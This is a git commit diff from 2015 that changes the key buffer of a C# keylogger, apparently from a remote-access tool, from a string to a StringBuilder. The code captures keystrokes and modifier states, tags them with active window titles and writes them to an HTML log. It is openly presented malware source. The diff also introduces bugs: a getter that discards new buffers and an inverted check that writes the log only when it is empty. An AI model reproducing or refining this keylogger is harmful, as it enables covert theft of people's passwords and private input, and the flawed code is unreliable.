Improved the the keylogger's key buffer

Used a StringBuilder instead of a normal string as the key buffer to
drastically improve the performance. Having a string as the key buffer
would mean that every single addition would be exponentially slower.
This commit is contained in:
yankejustin 2015-05-04 12:21:04 -04:00
parent 89389d7325
commit 437747a9df
1 changed files with 14 additions and 13 deletions

View File

@ -63,7 +63,8 @@ private static bool CapsLock
}
}
private string _keyBuffer;
private StringBuilder _keyBuffer_;
private StringBuilder _keyBuffer { get { return _keyBuffer_ ?? new StringBuilder(); } set { _keyBuffer_ = value; } }
private string _hWndTitle;
private string _hWndLastTitle;
@ -141,26 +142,26 @@ private void timerLogKeys_Elapsed(object sender, System.Timers.ElapsedEventArgs
{
_hWndLastTitle = _hWndTitle;
_keyBuffer += "<br><br>[<b>" + _hWndTitle + "</b>]<br>";
_keyBuffer.Append("<br><br>[<b>" + _hWndTitle + "</b>]<br>");
}
}
switch (i)
{
case 8:
_keyBuffer += "<font color=\"0000FF\">[Back]</font>";
_keyBuffer.Append("<font color=\"0000FF\">[Back]</font>");
return;
case 9:
_keyBuffer += "<font color=\"0000FF\">[Tab]</font>";
_keyBuffer.Append("<font color=\"0000FF\">[Tab]</font>");
return;
case 13:
_keyBuffer += "<font color=\"0000FF\">[Enter]</font><br>";
_keyBuffer.Append("<font color=\"0000FF\">[Enter]</font><br>");
return;
case 32:
_keyBuffer += " ";
_keyBuffer.Append(" ");
return;
case 46:
_keyBuffer += "<font color=\"0000FF\">[Del]</font>";
_keyBuffer.Append("<font color=\"0000FF\">[Del]</font>");
return;
}
@ -168,21 +169,21 @@ private void timerLogKeys_Elapsed(object sender, System.Timers.ElapsedEventArgs
{
if (ShiftKey && CapsLock) //If the state of Shiftkey is down and Capslock is toggled on
{
_keyBuffer += FromKeys(i, true, true);
_keyBuffer.Append(FromKeys(i, true, true));
return;
}
if (ShiftKey) //If only the Shiftkey is pressed
{
_keyBuffer += FromKeys(i, true, false);
_keyBuffer.Append(FromKeys(i, true, false));
return;
}
if (CapsLock) //If only Capslock is toggled on
{
_keyBuffer += FromKeys(i, false, true);
_keyBuffer.Append(FromKeys(i, false, true));
return;
}
_keyBuffer += FromKeys(i, false, false);
_keyBuffer.Append(FromKeys(i, false, false));
return;
}
}
@ -221,7 +222,7 @@ private void WriteFile()
"<meta http-equiv='Content-Type' content='text/html; charset=utf-8' />Log created on " +
DateTime.Now.ToString("dd.MM.yyyy HH:mm") + "<br>");
if (_keyBuffer != "")
if (string.IsNullOrEmpty(_keyBuffer.ToString()))
sw.Write(_keyBuffer);
_hWndLastTitle = "";
@ -239,7 +240,7 @@ private void WriteFile()
{
}
_keyBuffer = "";
_keyBuffer = new StringBuilder();
}
private string GetActiveWindowTitle()